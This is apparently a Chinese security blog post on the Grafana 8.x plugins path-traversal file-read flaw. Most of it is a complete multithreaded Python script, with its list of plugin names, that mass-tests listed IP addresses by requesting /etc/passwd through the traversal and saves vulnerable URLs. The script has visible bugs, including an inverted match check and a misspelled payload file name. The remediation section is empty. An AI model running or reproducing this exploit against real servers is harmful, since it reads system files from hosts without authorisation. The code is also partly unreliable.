01.漏 洞 描 述
Grafana
是一个跨平台、开源的数据可视化网络应用程序平台,使用Go语言编写。Grafana 8.x
存在任意文件读取漏洞,通过默认存在的插件,可构造特殊的请求包读取服务器任意文件02.漏 洞 细 节 可参考:
03.批量检测工具
因为网上已经有师傅写过单个poc,所以在这里直接加上以前的多线程,可以批量测试漏洞:
poc参考资料:
https://github.com/ScorpionsMAX/Grafana-loophole
也可以去我的GitHub下载:
https://github.com/crow821/crowsec
或者你直接复制下面的脚本重命名即可!
完整脚本如下:
脚本一共含有三个部分:
poc脚本:Grafana8.x_check.py
# -*- encoding: utf-8 -*-
# Time : 2021/12/07 23:05:31
# Author: crow
# Grafana plugins 任意文件读取批量检测脚本
# poc参考:https://github.com/ScorpionsMAX/Grafana-loophole
import requests
import threading
from queue import Queue
class Check_ips(threading.Thread):
def __init__(self, queue, file_path):
threading.Thread.__init__(self)
self._queue = queue
self._file_path = file_path
def run(self):
while not self._queue.empty():
Ip = self._queue.get()
file_path_ = self._file_path
try:
self.check(Ip, file_path_)
except Exception as e:
# print(e)
pass
def check(self, ip, file_path_):
f = open("./paload.txt")
print('正在测试ip:',ip)
for line in f:
url = "http://"+ ip +"/public/plugins/"+str.rstrip(line)+"/../../../../../../../../../../../etc/passwd"
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
}
req = requests.post(url, headers=headers,timeout=(3,7),allow_redirects=False)
a=req.text
# print('当前a的值:',a)
str1='root'
if a in str1:
print('确认存在'+str.rstrip(line)+'路径,并存在漏洞!')
print(url)
with open('Grafana 8.x_vuln.txt', 'a+') as ff:
ff.write(url + '\n')
else:
pass
# print('不存在漏洞!')
def check_ip(file_path):
queue = Queue()
with open(file_path, 'r') as f:
for line in f.readlines():
# print(line[:-1])
ip = line[:-1]
# print('正在测试ip:',ip)
queue.put(ip)
print('[+] Loading complite')
threads = []
thread_counts = 50 # 定义线程
for i in range(thread_counts):
threads.append(Check_ips(queue, file_path))
for t in threads:
t.start()
for t in threads:
t.join()
if __name__ == "__main__":
file_path = 'Grafana_3000.txt'
check_ip(file_path)
print('[+] check complete')
其中需要两个文件,一个是payload.txt
,这个文件里面主要是plugins
的插件名称,此处参考:
https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
payload.txt
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text
另外一个是Grafana_3000.txt
,这个文件是需要检测的ip地址信息,比如:127.0.0.1:3000
脚本默认线程为50,检测到漏洞之后,会直接生成一个Grafana 8.x_vuln.txt
文件。
运行效果:
04.漏洞修复
可参考: